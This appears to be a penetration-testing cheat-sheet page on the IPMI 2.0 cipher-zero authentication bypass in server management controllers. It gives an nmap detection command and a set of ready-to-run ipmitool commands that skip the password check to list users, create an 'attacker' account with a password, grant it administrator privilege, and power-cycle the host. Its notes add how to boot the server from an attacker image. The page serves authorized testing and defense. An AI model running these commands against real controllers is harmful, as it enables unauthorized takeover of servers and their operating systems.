IPMI 2.0 negotiates a cipher suite for each session, and cipher suite zero uses no authentication or integrity algorithms. Some BMCs accept it over the network. On a vulnerable controller, the password is not validated, but the client still needs a valid account name and receives the privilege that account is allowed on the channel. If the known account has administrator privilege, the attacker can perform high-impact operations such as changing users, configuration, power state, or boot settings.
# detect cipher 0 acceptance
nmap -sU -p623 --script ipmi-cipher-zero <target>
# use a known valid account; cipher 0 causes the password to be ignored
ipmitool -I lanplus -C 0 -H <bmc> -U root -P '' user list # enumerate users
ipmitool -I lanplus -C 0 -H <bmc> -U root -P '' user set name 5 attacker
ipmitool -I lanplus -C 0 -H <bmc> -U root -P '' user set password 5 Passw0rd!
ipmitool -I lanplus -C 0 -H <bmc> -U root -P '' user priv 5 4 # admin
ipmitool -I lanplus -C 0 -H <bmc> -U root -P '' chassis power cycle # control the host
Exploitation notes#
-C 0selects cipher zero in ipmitool. The password can be arbitrary, but the username must identify a valid account and its configured channel privilege determines which commands succeed.- User creation and other administrative operations require a valid account with sufficient privilege; cipher-zero acceptance alone does not guarantee administrator access.
- Administrative BMC control means host power, boot-device selection, console, and virtual media, enough to boot the server from an attacker image and compromise the OS, see iDRAC and iLO for the virtual-media step.
- This is an authentication bypass over UDP 623. Its demonstrated impact should be based on the privileges of the valid account used during the test.